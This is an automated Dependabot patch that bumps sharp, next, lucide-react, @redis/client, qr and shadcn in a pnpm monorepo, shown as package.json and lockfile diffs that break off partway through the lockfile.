From ac9e59f59f23d7255822b9ebe976fe4a88872d29 Mon Sep 17 00:00:00 2001 From: "dependabot[bot]" <49699333+dependabot[bot]@users.noreply.github.com> Date: Sun, 11 Oct 2026 05:57:38 +0000 Subject: [PATCH 1/2] chore(deps): bump the runtime group across 1 directory with 6 updates Bumps the runtime group with 6 updates in the / directory: | Package | From | To | | --- | --- | --- | | [sharp](https://github.com/lovell/sharp) | `0.35.4` | `0.35.5` | | [@redis/client](https://github.com/redis/node-redis) | `6.2.1` | `6.3.0` | | [lucide-react](https://github.com/lucide-icons/lucide/tree/HEAD/packages/lucide-react) | `1.48.0` | `1.52.0` | | [next](https://github.com/vercel/next.js) | `16.3.6` | `16.4.0` | | [qr](https://github.com/paulmillr/qr) | `0.7.0` | `0.7.2` | | [shadcn](https://github.com/shadcn-ui/ui/tree/HEAD/packages/shadcn) | `4.21.0` | `4.21.4` | Updates `sharp` from 0.35.4 to 0.35.5 - [Release notes](https://github.com/lovell/sharp/releases) - [Commits](https://github.com/lovell/sharp/compare/v0.35.4...v0.35.5) Updates `@redis/client` from 6.2.1 to 6.3.0 - [Release notes](https://github.com/redis/node-redis/releases) - [Changelog](https://github.com/redis/node-redis/blob/master/CHANGELOG.md) - [Commits](https://github.com/redis/node-redis/compare/json@6.2.1...json@6.3.0) Updates `lucide-react` from 1.48.0 to 1.52.0 - [Release notes](https://github.com/lucide-icons/lucide/releases) - [Commits](https://github.com/lucide-icons/lucide/commits/1.52.0/packages/lucide-react) Updates `next` from 16.3.6 to 16.4.0 - [Release notes](https://github.com/vercel/next.js/releases) - [Commits](https://github.com/vercel/next.js/compare/v16.3.6...v16.4.0) Updates `qr` from 0.7.0 to 0.7.2 - [Release notes](https://github.com/paulmillr/qr/releases) - [Changelog](https://github.com/paulmillr/qr/blob/main/CHANGELOG.md) - [Commits](https://github.com/paulmillr/qr/compare/0.7.0...0.7.2) Updates `shadcn` from 4.21.0 to 4.21.4 - [Release notes](https://github.com/shadcn-ui/ui/releases) - [Changelog](https://github.com/shadcn-ui/ui/blob/main/packages/shadcn/CHANGELOG.md) - [Commits](https://github.com/shadcn-ui/ui/commits/shadcn@4.21.4/packages/shadcn) --- updated-dependencies: - dependency-name: sharp dependency-version: 0.35.5 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: runtime - dependency-name: "@redis/client" dependency-version: 6.3.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: runtime - dependency-name: lucide-react dependency-version: 1.52.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: runtime - dependency-name: next dependency-version: 16.4.0 dependency-type: direct:production update-type: version-update:semver-minor dependency-group: runtime - dependency-name: qr dependency-version: 0.7.2 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: runtime - dependency-name: shadcn dependency-version: 4.21.4 dependency-type: direct:production update-type: version-update:semver-patch dependency-group: runtime ... Signed-off-by: dependabot[bot] --- apps/bot/package.json | 2 +- apps/web/package.json | 8 +- packages/qr-encoder/package.json | 2 +- packages/qr/package.json | 2 +- packages/ui/package.json | 4 +- pnpm-lock.yaml | 615 +++++++++++++++++-------------- 6 files changed, 339 insertions(+), 294 deletions(-) diff --git a/apps/bot/package.json b/apps/bot/package.json index 38bd188..e11a0b3 100644 --- a/apps/bot/package.json +++ b/apps/bot/package.json @@ -17,7 +17,7 @@ "@kyuar/qr": "workspace:*", "@kyuar/shared": "workspace:*", "grammy": "^1.46.0", - "sharp": "^0.35.4" + "sharp": "^0.35.5" }, "devDependencies": { "@types/node": "^24.10.1", diff --git a/apps/web/package.json b/apps/web/package.json index f1bf52d..9ee24c0 100644 --- a/apps/web/package.json +++ b/apps/web/package.json @@ -16,15 +16,15 @@ "@kyuar/qr": "workspace:*", "@kyuar/shared": "workspace:*", "@kyuar/ui": "workspace:*", - "@redis/client": "^6.2.1", + "@redis/client": "^6.3.0", "@resvg/resvg-js": "^2.6.2", "@tma.js/sdk-react": "^3.0.23", "grammy": "^1.46.0", - "lucide-react": "^1.48.0", - "next": "^16.3.6", + "lucide-react": "^1.52.0", + "next": "^16.4.0", "react": "^19.3.0", "react-dom": "^19.3.0", - "sharp": "^0.35.4" + "sharp": "^0.35.5" }, "devDependencies": { "@types/node": "^24.10.1", diff --git a/packages/qr-encoder/package.json b/packages/qr-encoder/package.json index d492989..318a995 100644 --- a/packages/qr-encoder/package.json +++ b/packages/qr-encoder/package.json @@ -15,7 +15,7 @@ "typecheck": "tsc --noEmit" }, "devDependencies": { - "qr": "0.7.0", + "qr": "0.7.2", "typescript": "^6.0.3" } } diff --git a/packages/qr/package.json b/packages/qr/package.json index 551f14b..1dc218d 100644 --- a/packages/qr/package.json +++ b/packages/qr/package.json @@ -13,7 +13,7 @@ }, "dependencies": { "@kyuar/qr-encoder": "workspace:*", - "qr": "0.7.0" + "qr": "0.7.2" }, "devDependencies": { "@resvg/resvg-js": "^2.6.2", diff --git a/packages/ui/package.json b/packages/ui/package.json index 3c7bd3f..113f3ba 100644 --- a/packages/ui/package.json +++ b/packages/ui/package.json @@ -17,8 +17,8 @@ "@base-ui/react": "^1.8.0", "class-variance-authority": "^0.7.1", "cn": "^0.4.0", - "lucide-react": "^1.48.0", - "shadcn": "^4.21.0", + "lucide-react": "^1.52.0", + "shadcn": "^4.21.4", "tw-animate-css": "^1.4.0" }, "devDependencies": { diff --git a/pnpm-lock.yaml b/pnpm-lock.yaml index 148ed1e..cf23bc0 100644 --- a/pnpm-lock.yaml +++ b/pnpm-lock.yaml @@ -54,8 +54,8 @@ importers: specifier: ^1.46.0 version: 1.46.0 sharp: - specifier: ^0.35.4 - version: 0.35.4(@types/node@24.13.6) + specifier: ^0.35.5 + version: 0.35.5(@types/node@24.13.6) devDependencies: '@types/node': specifier: ^24.10.1 @@ -85,8 +85,8 @@ importers: specifier: workspace:* version: link:../../packages/ui '@redis/client': - specifier: ^6.2.1 - version: 6.2.1(@opentelemetry/api@1.9.1) + specifier: ^6.3.0 + version: 6.3.0(@opentelemetry/api@1.9.1) '@resvg/resvg-js': specifier: ^2.6.2 version: 2.6.2 @@ -97,11 +97,11 @@ importers: specifier: ^1.46.0 version: 1.46.0 lucide-react: - specifier: ^1.48.0 - version: 1.48.0(react@19.3.0) + specifier: ^1.52.0 + version: 1.52.0(@types/react@19.3.0)(react@19.3.0) next: - specifier: ^16.3.6 - version: 16.3.6(@babel/core@7.29.7)(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) + specifier: ^16.4.0 + version: 16.4.0(@babel/core@7.29.7)(@opentelemetry/api@1.9.1)(@types/node@24.13.6)(react-dom@19.3.0(react@19.3.0))(react@19.3.0) react: specifier: ^19.3.0 version: 19.3.0 @@ -109,8 +109,8 @@ importers: specifier: ^19.3.0 version: 19.3.0(react@19.3.0) sharp: - specifier: ^0.35.4 - version: 0.35.4(@types/node@24.13.6) + specifier: ^0.35.5 + version: 0.35.5(@types/node@24.13.6) devDependencies: '@types/node': specifier: ^24.10.1 @@ -144,8 +144,8 @@ importers: specifier: workspace:* version: link:../qr-encoder qr: - specifier: 0.7.0 - version: 0.7.0 + specifier: 0.7.2 + version: 0.7.2 devDependencies: '@resvg/resvg-js': specifier: ^2.6.2 @@ -157,8 +157,8 @@ importers: packages/qr-encoder: devDependencies: qr: - specifier: 0.7.0 - version: 0.7.0 + specifier: 0.7.2 + version: 0.7.2 typescript: specifier: ^6.0.3 version: 6.0.3 @@ -194,8 +194,8 @@ importers: specifier: ^0.4.0 version: 0.4.0 lucide-react: - specifier: ^1.48.0 - version: 1.48.0(react@19.3.0) + specifier: ^1.52.0 + version: 1.52.0(@types/react@19.3.0)(react@19.3.0) react: specifier: ^19.3.0 version: 19.3.0 @@ -203,8 +203,8 @@ importers: specifier: ^19.3.0 version: 19.3.0(react@19.3.0) shadcn: - specifier: ^4.21.0 - version: 4.21.0(typescript@6.0.3) + specifier: ^4.21.4 + version: 4.21.4 tw-animate-css: specifier: ^1.4.0 version: 1.4.0 @@ -365,8 +365,8 @@ packages: resolution: {integrity: sha512-puq+Gf35oI24FeN11LkoUQFqv9uwNeWpxXZi/Ji3rRIoKAzKnxRaZ+Gkj0vKS9ZCiTESfng1N9LyOyXvo+m+Gg==} engines: {node: '>=6.9.0'} - '@babel/traverse@7.29.8': - resolution: {integrity: sha512-I5z7H3bf/41ktsNVLtpN0wAa336HkqIHQ5BuPLEhTkt1jVSyZpeNKIzTgEWmlxjdg81R0IgUCcaE+Ok3NvrfZg==} + '@babel/traverse@7.29.10': + resolution: {integrity: sha512-B3lYAs2nkKskbgQ1nfy8Ma9ao9Q1rntTAQHrzzyDuj+TSO+X3le6PfWwqDvodsb+OumE10eMFfuMCTQSQ5iuIQ==} engines: {node: '>=6.9.0'} '@babel/types@7.29.8': @@ -714,11 +714,11 @@ packages: '@grammyjs/types@5.0.0': resolution: {integrity: sha512-iq1Qrq1iPKkB8yAa0qSuIURMZOCuqTY5pWy5gHpCeL1oQ+GPadGhw/cDTVE8waJwuCzacUzuIjRv1sESvk7u7A==} - '@hono/node-server@2.1.1': - resolution: {integrity: sha512-ELuehkj5VCBdgEw9zs+ivkKwyzzUCSQuE96YmiPvn1ECBoZCczbFXJLeEGMTYjphP6gydh4pHMqEYPVMYUVgQg==} + '@hono/node-server@2.1.4': + resolution: {integrity: sha512-2g1qeHl4BduwDn6L8nkAvDrPUWPMlkQ//a5NhP/zIyaXKMjZNRV+cG9Csu+BiJFf6+68pqzjf4Hi5sJGKHuS1g==} engines: {node: '>=20'} peerDependencies: - hono: ^4 + hono: ^4 || ^5.0.0-0 '@humanfs/core@0.19.2': resolution: {integrity: sha512-UhXNm+CFMWcbChXywFwkmhqjs3PRCmcSa/hfBgLIb7oQ5HNb1wS0icWsGtSAUNgefHeI+eBrA8I1fxmbHsGdvA==} @@ -747,160 +747,160 @@ packages: resolution: {integrity: sha512-Td76q7j57o/tLVdgS746cYARfSyxk8iEfRxewL9h4OMzYhbW4TAcppl0mT4eyqXddh6L/jwoM75mo7ixa/pCeQ==} engines: {node: '>=18'} - '@img/sharp-darwin-arm64@0.35.4': - resolution: {integrity: sha512-Uhfl4V4lhP2nbUVF9+hyH1+luj86f1gUFeo8ALYxFoULoU+G87D43BfeMP8XHsk9boxAnCY/bf2EHwhA7MuGsA==} + '@img/sharp-darwin-arm64@0.35.5': + resolution: {integrity: sha512-QRUlFQ0WxvdWyqqG/WtI3iupfD5rBzmCHXSdPsY91sAtVtTo7Q4cb6zOccZ3gqEqkr0f1As1ehLqmEpDsRf+lg==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [darwin] - '@img/sharp-darwin-x64@0.35.4': - resolution: {integrity: sha512-hWniXY3bG5qKpkKrAwPe4y+VTPmf086YQAnkxWh7uA1YrlRouWGa0M0Mxj3ZjnXFkv7/TD1bTy9lGUK26vRvWw==} + '@img/sharp-darwin-x64@0.35.5': + resolution: {integrity: sha512-+BR255RhDlpygUpOc/Jdt1nT6DQ3XG/ERo5wbcdOf5Q320dKtPCKPLR1LJs9VGXRaMa8l1uUa0tkCNOXiAxZUw==} engines: {node: '>=20.9.0'} cpu: [x64] os: [darwin] - '@img/sharp-freebsd-wasm32@0.35.4': - resolution: {integrity: sha512-lIsKw/BU+kjB4eZjxrYrZmwOJYi3Ajrv66iAlBmUPyKc3HpnloevB1g3wxGD9P/5BbQ1brBGl65VRRrCvQDEqA==} + '@img/sharp-freebsd-wasm32@0.35.5': + resolution: {integrity: sha512-Y/z91nEZ4uIBX5X3nfTovjU9lHNKFYbL2lpHCLVNmXQK03VIZvXBBt0KxbPGp2SdGSF+2mQU4e+hQaWOt86iAw==} engines: {node: '>=20.9.0'} os: [freebsd] - '@img/sharp-libvips-darwin-arm64@1.3.3': - resolution: {integrity: sha512-suTBPTDGrI9WodccaDdwZItTSaBYASlBk1NSfElSHrUfzu3szG6lvIF58+WiFvnfzuK8ZBFS5zE00PxqxnRiPg==} + '@img/sharp-libvips-darwin-arm64@1.3.4': + resolution: {integrity: sha512-5R89nBYiRdUlSWJxPhO+GVtaXzXSxKnRu/xqMn3KTA3L9EB9Oy/P+Nn2f2vlhPuUdy/Zusb2DarbyTpGCfEDuw==} cpu: [arm64] os: [darwin] - '@img/sharp-libvips-darwin-x64@1.3.3': - resolution: {integrity: sha512-FVJZ5mITMobmXIz/hPDTw0EintTW5H3WfrxwLqEqjiIihlu+hVRyGrFQ60xl0Lxn7Bt3zdpevPaQi0HEzqz9fw==} + '@img/sharp-libvips-darwin-x64@1.3.4': + resolution: {integrity: sha512-iR2OKH80yi0U+dUplyh3/xdpFvps6YkCwsXenIJxqxR1v9o+xtKTGbS9H7cps+2Vxjc8B1j96p75NmTGjIhtpQ==} cpu: [x64] os: [darwin] - '@img/sharp-libvips-linux-arm64@1.3.3': - resolution: {integrity: sha512-0DaL0A6Xu6sQSQFwe4iVCrKWU2cCTItnRsYsCdxAMm9NF6twAA9BKnoqy4hqz4+azQ0JHuA26qiUKsf1XJ/v5A==} + '@img/sharp-libvips-linux-arm64@1.3.4': + resolution: {integrity: sha512-Y3dgX/6lE2QhQb+Gxy0WZxfg9MEm/JBjamZpS2IklP7xIQoKN4hzAm7KcMVGtaVDt3neE9OKBC7vAfonA/Lr1A==} cpu: [arm64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-arm@1.3.3': - resolution: {integrity: sha512-3rbU4vqXXc3hY/OiXdl52xZvT0F1yEngWfvqudtPJg/KkyiaQw2DRsFrNzpmLvfavbwOq3qXn36GP8obHRULQA==} + '@img/sharp-libvips-linux-arm@1.3.4': + resolution: {integrity: sha512-LmRtTsOHuvM2+wlO2Db37dx5MiZhB0FvSunciw48YjdOkZz9KAiRbm8ujeMOA1INqmei5NapFxYEK1D1ZSidmw==} cpu: [arm] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-ppc64@1.3.3': - resolution: {integrity: sha512-cdn1OvUBwsXhbC0zSzJnNzf5MZ/mTrobawDvNXBTxe8VtqKAm0sRuEY2Evzovb/w9JMk4TvRxqt1mekSuJz64w==} + '@img/sharp-libvips-linux-ppc64@1.3.4': + resolution: {integrity: sha512-Le6boB8Tai0Nis+gIxIpKx68UDVVIqdR8Tin5Yf1z2LJJQLDJvCDRqRu+jC2qCoD+eIomonmOwB4smBRxfVpYQ==} cpu: [ppc64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-riscv64@1.3.3': - resolution: {integrity: sha512-HjPVx7yKz+0lqdhDlTw1tt90wamBoxhiXpvl1XZpJLiHH4RCJ5yDTqH+VlYPv2fwFs89JFw4c1IexYOcQUi4IQ==} + '@img/sharp-libvips-linux-riscv64@1.3.4': + resolution: {integrity: sha512-aHkkIEHPRdQEegJN20MLmGtxYD9R2wQr3Cwpddnu5+YKMt6Uzax7S9h5gpZTo8wyrGuZSlfQ63OevL5mTyOC7Q==} cpu: [riscv64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-s390x@1.3.3': - resolution: {integrity: sha512-neWLh+3yCNThxnfy3c4BbVBeGgt9aftno+XbT56iK28RgeDs3UOFWviLWlUu0bArYVYJaFDK+RRohbicUNCm8Q==} + '@img/sharp-libvips-linux-s390x@1.3.4': + resolution: {integrity: sha512-ra/mB6MikESDUO7Yg+Mi95bFBb9GsObURuhnOv3OqknjGe9sZrG8tCe9q0xSIGrtLgvgw0gKnFWcK4blSgQOuQ==} cpu: [s390x] os: [linux] libc: [glibc] - '@img/sharp-libvips-linux-x64@1.3.3': - resolution: {integrity: sha512-4vKmvAst9nrowcqquKFAyZJUDolUaIp8uRiN0mWFguJ1IplC9/pitXtlnnlU4aa/eJw3J7i67V+pwUL+wZGdsA==} + '@img/sharp-libvips-linux-x64@1.3.4': + resolution: {integrity: sha512-GJ//SSXbnwSDes02umB3nDJLFcQzw8a18V8fyhqr6tV515tOEMdImjjxj1AoafMRz56F3PHgftnj1QEKSU1zkw==} cpu: [x64] os: [linux] libc: [glibc] - '@img/sharp-libvips-linuxmusl-arm64@1.3.3': - resolution: {integrity: sha512-Y9kQaLMuNoB0bPYOOdcZMaseNrFpPodIWWMrx+CZyydf2xn68j9WYc6sWWRrDwNkzCQjKYfc68L7jKjGlHMibw==} + '@img/sharp-libvips-linuxmusl-arm64@1.3.4': + resolution: {integrity: sha512-hvulFwtjUcagsis6BBxHwGFwWoNZjgYmULGVrZcyfNbjA8hKILbRxGg15/7w5HDyXHXUos/j6baAWqnCyQ2DWA==} cpu: [arm64] os: [linux] libc: [musl] - '@img/sharp-libvips-linuxmusl-x64@1.3.3': - resolution: {integrity: sha512-fj8Mv0HHfD1Rr+4I68+3agJynxDWtBFgicTbSOb9Bke6pIwzGcJ+RX/yHjmiEGFMCavY/dxvem7MyNaJF+wDiw==} + '@img/sharp-libvips-linuxmusl-x64@1.3.4': + resolution: {integrity: sha512-6zXKeE/p39I1AmA3cJG35eyBGNqNddLnUXjhwBnsGjFPWqf5VKkDBEqaEkPDoTEtkxwi2vv8Tcr2mDyP4So7Fg==} cpu: [x64] os: [linux] libc: [musl] - '@img/sharp-linux-arm64@0.35.4': - resolution: {integrity: sha512-De4jpEnAU8Hd5oT0j1G3uL4ZvTuipVMn7YC6vPaJhy6/7EwEae0SVAoBrUMYQbkLGDm85taVWwuPc1a44LTzCQ==} + '@img/sharp-linux-arm64@0.35.5': + resolution: {integrity: sha512-LYVx5JTsOM2CBzmxreh+nl64/3H6Xb09iSLknqH47z2T2DFFxDeFLP5y4dJwe6H7uGQlHPyEEtIqyo3DYsRwdQ==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [linux] libc: [glibc] - '@img/sharp-linux-arm@0.35.4': - resolution: {integrity: sha512-7OAS8gI0EReKGVN2HssHlM6umJgxF5VI3xN0p9FA91p/YO+ou5hiNghLdZ5BEHztwaaK5+bLKRf8x/o2L2nk9A==} + '@img/sharp-linux-arm@0.35.5': + resolution: {integrity: sha512-LEaXK2WdXVK5ykcw0buWyPMsmLLL2vpHLD6yrNSW+JGEL3BZPA4tpKN6iaMc4AxTTAoaX/sU1rOL51lcIz48ZQ==} engines: {node: '>=20.9.0'} cpu: [arm] os: [linux] libc: [glibc] - '@img/sharp-linux-ppc64@0.35.4': - resolution: {integrity: sha512-2oYZJeIl4kCcMGk4ouZVjnkCtFrpQFlNEtJ6GbxzhHQchwH0NH/qEb9ykmOl29dqwMq+JhFdZn+1ak2FKhI9fQ==} + '@img/sharp-linux-ppc64@0.35.5': + resolution: {integrity: sha512-QVxAAq8evVRI9ia2vqgwrmWucn5Dfv+JdWzj75pD8omHLPSP7f8p20O8jxzjCcuCEQEOtYOZUmX1hkiZ0kdevA==} engines: {node: '>=20.9.0'} cpu: [ppc64] os: [linux] libc: [glibc] - '@img/sharp-linux-riscv64@0.35.4': - resolution: {integrity: sha512-cPbNChoRURAWdebDIHSenxRpgEdy7JkPydSnUxRm9VvKD7m0/xVaR/8Fzlu81pk5nHEvHH87UZUA7cTtwnbJSA==} + '@img/sharp-linux-riscv64@0.35.5': + resolution: {integrity: sha512-LtdreXguaavKODPIfzJ4kffx7UNt1omwtK0rch4EBbbSTXPnxWmYSayXdLJw0fJzQ97kHt1gL/yh4tvU+nCyRQ==} engines: {node: '>=20.9.0'} cpu: [riscv64] os: [linux] libc: [glibc] - '@img/sharp-linux-s390x@0.35.4': - resolution: {integrity: sha512-RY0JFY8Fd6RonCBtHz+DvadaPkXDSI1AUn6yWL9TipqkZ1vY8w8evqdgyDFnkm4/K1ve1TvZiaePP5oSd4+WVQ==} + '@img/sharp-linux-s390x@0.35.5': + resolution: {integrity: sha512-UZasTOFiYzotTsGOCu42BfUzP6Tu6Do/947iRm1RsLKvlllxwGcn4RN27LibGWceix4Y+Pmw3jsnTcCQIgWjqA==} engines: {node: '>=20.9.0'} cpu: [s390x] os: [linux] libc: [glibc] - '@img/sharp-linux-x64@0.35.4': - resolution: {integrity: sha512-9qvvEAuk8k89TfWUoX2htWjbAMX8p+NxCppjpcg5k6xMsjhBQPTsoIh36h9Qde4WRuGpJeYnOjdosDn/cnv+OA==} + '@img/sharp-linux-x64@0.35.5': + resolution: {integrity: sha512-SxFtLTeJInhAA9Q836kux2vZNeOBQEx658qvbboZScr0wIARym3IcGmW7KpVD5sbVg0Ojy+udFQdayYIZyoNog==} engines: {node: '>=20.9.0'} cpu: [x64] os: [linux] libc: [glibc] - '@img/sharp-linuxmusl-arm64@0.35.4': - resolution: {integrity: sha512-KB5jxpfWQTr0nc3xdHtWChdbifHrBGsd2SM62Eyxrl8afikm+f5qGBU75SJIZBT/S1MC8XyacdlXBMSWq6OURA==} + '@img/sharp-linuxmusl-arm64@0.35.5': + resolution: {integrity: sha512-9HbMclmI1zlNkFRs3z9/eBtDjfD0sGlrX1z6b1qwmiFY5ElDLh4BC0LPBdVp7z1DXFiKlIcznf+ZlsuZzLxQqg==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [linux] libc: [musl] - '@img/sharp-linuxmusl-x64@0.35.4': - resolution: {integrity: sha512-f+eZJZIQNEEd26RPSW+76chwOf1XtA2Y/O+5ocVyLliHkeih3e+jhLVBdNTd2rS3IbNXK8+ug93Vf5ZXtF5Lxg==} + '@img/sharp-linuxmusl-x64@0.35.5': + resolution: {integrity: sha512-4KOphqB035HrVdqLZfCgMzzERrQkkzOwRhl4OAkRO1YCldbaFjySXMaK534Mo0V+LndnlJk+sbUyLeU0ULyD1A==} engines: {node: '>=20.9.0'} cpu: [x64] os: [linux] libc: [musl] - '@img/sharp-wasm32@0.35.4': - resolution: {integrity: sha512-zQnl4Kwp7Q6NHsENtU2T/00Zi+w3AQNwz3+UaTyVBy2FpXrzXzGjndpK61onhZjRtRpQXxCTeqw19bVyXOh7jA==} + '@img/sharp-wasm32@0.35.5': + resolution: {integrity: sha512-Ptsga1su4tQx+LLF1ECS9U6nz5kmrXKo6XVbtR48Ke3ZRxxgaWBu7IDtEe1quo8hiupwm6WFqxVlXaSf7IINGQ==} engines: {node: '>=20.9.0'} - '@img/sharp-webcontainers-wasm32@0.35.4': - resolution: {integrity: sha512-ESfNkywmCfPNyaZjxooddJQiQ+l/nTpGEOGthxiLnIHXC/CmcBixnfwUleX9mCz9ovrUUvKMap/pm8RYbzfwaA==} + '@img/sharp-webcontainers-wasm32@0.35.5': + resolution: {integrity: sha512-hfhF/FmoQyTUkA0bIKFOtw536BQSeBMe6BF6QyWlrPxT754+TFLaZ7sKKTfvvM0yJgKgaYTwnFCIZ/GuDw5SUA==} engines: {node: '>=20.9.0'} cpu: [wasm32] - '@img/sharp-win32-arm64@0.35.4': - resolution: {integrity: sha512-iNdlBX9gLVvqe2I3uIJSIKTq6wckP/DYxZtcqxm09x5Gi24DnFBmPAWZmr60ZyYMG0xlzo6goG3670ar+RXvRw==} + '@img/sharp-win32-arm64@0.35.5': + resolution: {integrity: sha512-X4t7g+7ZA5DKblCBEXGjUqqemj4vczING/5viFwAL8h4N3qYeyjwdCvRLHi4EdOUI+2Z7UFlp1VM+p/AuEtm6Q==} engines: {node: '>=20.9.0'} cpu: [arm64] os: [win32] - '@img/sharp-win32-ia32@0.35.4': - resolution: {integrity: sha512-kqRsbaa5CS6KHlpxnN7WhE6vAAugXyZButpRdvDWetlv6Qv4N9WTcrWzF7tXfB9T7MsoadqdI8hmwLq6UlLvtw==} + '@img/sharp-win32-ia32@0.35.5': + resolution: {integrity: sha512-5Zm82LoBc43nhwNybZlG7Y1KO//Zhsn306fQl29ZOuStHLGTo3BWL83q3cznX0poxSAMuYL1On/BHBxkBeKr6A==} engines: {node: ^20.9.0} cpu: [ia32] os: [win32] - '@img/sharp-win32-x64@0.35.4': - resolution: {integrity: sha512-XtmnYhBcrORsJ4XJngyzr/EWP0hRZLAZRFaApdKuviyqF78+ylxh2y06ZmtULAMOnObJ3ucpN0AcwSWnMowTRg==} + '@img/sharp-win32-x64@0.35.5': + resolution: {integrity: sha512-x76eH0vEiHlcMQu8Y8IenntaACtddpT6W0wmXtWrnKcnKI7ME5DdgqhAD6SEWOEl1v2zDvkZDhFA9KnURwpfqg==} engines: {node: '>=20.9.0'} cpu: [x64] os: [win32] @@ -930,8 +930,8 @@ packages: '@keyv/serialize@1.1.1': resolution: {integrity: sha512-dXn3FZhPv0US+7dtJsIi2R+c7qWYiReoEh5zUntWCf4oSpMNib8FDhSoed6m3QyZdx5hK7iLFkYk3rNxwt8vTA==} - '@modelcontextprotocol/sdk@1.30.1': - resolution: {integrity: sha512-H2HxLvC3HDNybePJaLdSrU1hhUK5iQw+WvV1b01myFyI7sdVGe1u/IPTE5D9fGCiJDVtgMV/lmFkQXLmQyIFYA==} + '@modelcontextprotocol/sdk@1.32.1': + resolution: {integrity: sha512-2DdE+SJDtzLEEWzY1ZjY7Q+VcPhcV1KisD3zI4u0XZyktsjHum1mwbMI+JaulUBi2OZk+KJAi2uPXzxichPkdw==} engines: {node: '>=18'} peerDependencies: '@cfworker/json-schema': ^4.1.1 @@ -947,57 +947,57 @@ packages: '@emnapi/core': ^1.7.1 || ^2.0.0-alpha.4 '@emnapi/runtime': ^1.7.1 || ^2.0.0-alpha.4 - '@next/env@16.3.6': - resolution: {integrity: sha512-x9Vblze1EbtltQYnNH38xCPWU3TVfBd1eXqA3+w9+BTpedkkdNpAaltXlGQ/nsc1+E0mVTNrtcbX3GoO09zeLQ==} + '@next/env@16.4.0': + resolution: {integrity: sha512-pyLlT5oafGlX8X7xjgGNXz5dNIDSxREm+qD6i9VLSZiZFopA/XWl8NM/KPmLx/8EG/++c49iid3gNWSQW1+2dQ==} - '@next/swc-darwin-arm64@16.3.6': - resolution: {integrity: sha512-E/7GEqaUkt8mk/T8v9lAnrhzR06kdq1ZBkC12F8tAMkdIadwNp3H1KqHynDHrpcTlGCUdq/qu6vUL2aYVyYBdw==} + '@next/swc-darwin-arm64@16.4.0': + resolution: {integrity: sha512-yyZ+9MgViAKLLb5l1gPBGjRwnq3teNLb5Zx6JEw8LzNSTjlsnp+baUHFxTgl7PpjCmKf48VQfyipG1eBflb48Q==} engines: {node: '>= 10'} cpu: [arm64] os: [darwin] - '@next/swc-darwin-x64@16.3.6': - resolution: {integrity: sha512-yBE893/nDWTlaiBD1p+qgt7NUen4U5R6FXyH0s67Npq1S3E0cVSef1WIXC2xBRgQvwAvJq6DnS6Y6PrY0cy4Ew==} + '@next/swc-darwin-x64@16.4.0': + resolution: {integrity: sha512-RePEEejEj1Auf5s9qEcG0JbcDP3ceNUS/ofNX8AhxzgIjTVlZIHMatlp16YplcSMpsVo/ZMQHJTjbMYJznjGUg==} engines: {node: '>= 10'} cpu: [x64] os: [darwin] - '@next/swc-linux-arm64-gnu@16.3.6': - resolution: {integrity: sha512-KJDpjBqBPYlvkivmyrp+Qys6k/7ksbqGQvRVc6ZEGfR+cjQxx+nUkJaWmNZJsmoOrqYNbaXByF8wa0lBwDhB3Q==} + '@next/swc-linux-arm64-gnu@16.4.0': + resolution: {integrity: sha512-HhsyCqd+NpmvDDVY/LqkAN24f+QVvXh3ie+PfcwKinWL2Mu826JymQxJXGjAIfmJ4VlHjp4Pe/nZtXtUoEMAqw==} engines: {node: '>= 10'} cpu: [arm64] os: [linux] libc: [glibc] - '@next/swc-linux-arm64-musl@16.3.6': - resolution: {integrity: sha512-mqNg2K+hvWskSRb/QM+Ix412DvBsuSF0XV+frTSw5vmoucNnIlynFwKYew8D01bfATErMOM7Bujrf0BA5DRKFA==} + '@next/swc-linux-arm64-musl@16.4.0': + resolution: {integrity: sha512-sN9Pf+Zh+RpZAOmbR7d8KAA8T61CVhawtbEJ2Bk6QrRzx6Z/6haaF4UiwBzytM96GRRRWZh9/WALIEO3npMamA==} engines: {node: '>= 10'} cpu: [arm64] os: [linux] libc: [musl] - '@next/swc-linux-x64-gnu@16.3.6': - resolution: {integrity: sha512-nFncBNGAYouRHjRVaITs9beZRfhX4ssVwpnvPIAbkZVH6LtGoAVlH4bJ8Cnf9SOo9bsXgPFer/GdHtEE3JNOkw==} + '@next/swc-linux-x64-gnu@16.4.0': + resolution: {integrity: sha512-D5M5xLWQVd1CvR+L7BickM1weRfmM41x3L1NWcnKY/oyJJqr1qwaCgmu3dMAhLBOMdZwSuDCRV6DJRRpiUkbDQ==} engines: {node: '>= 10'} cpu: [x64] os: [linux] libc: [glibc] - '@next/swc-linux-x64-musl@16.3.6': - resolution: {integrity: sha512-5Mf3cHDGR/Iz0ng2Bj3zUR3p5QS9YK3Hn2QiAfavFmyF48zwThAjpFoiTKNIcOHLYS4zEk+gzyJ/9deQ2ZB8yQ==} + '@next/swc-linux-x64-musl@16.4.0': + resolution: {integrity: sha512-8d5WLS6a9YalqpOgXdlbvonFu+sIgjA+CO6tGzetrpPVcUL56foa7B7664h41rAlbLi5fJwK4vWji3zf4QDy+w==} engines: {node: '>= 10'} cpu: [x64] os: [linux] libc: [musl] - '@next/swc-win32-arm64-msvc@16.3.6': - resolution: {integrity: sha512-0jkJy0C2kbrJWTk4YLa3xk80pVBpx8FCHJym7CnUfDAXe/FWv5qT7SQJbR0KuemyxaEDlEx5WT4VQJoTW+/9Qw==} + '@next/swc-win32-arm64-msvc@16.4.0': + resolution: {integrity: sha512-sQuOIiW3snb48UwrBcDMvFA/u03qtw2LeuSIxFIQ9AJuW9UG/4Ddsfo+eV73PnZwBhyncMtsKVh7PrzMol2/fA==} engines: {node: '>= 10'} cpu: [arm64] os: [win32] - '@next/swc-win32-x64-msvc@16.3.6': - resolution: {integrity: sha512-/YXjI1e5OXcZ7YpxRwgP/1jAV/SBKTzeVKqN2mk7mLpcICsyn3Gl5+dIfDTJp70M0ccMhyMMRso4v6mPDCGepg==} + '@next/swc-win32-x64-msvc@16.4.0': + resolution: {integrity: 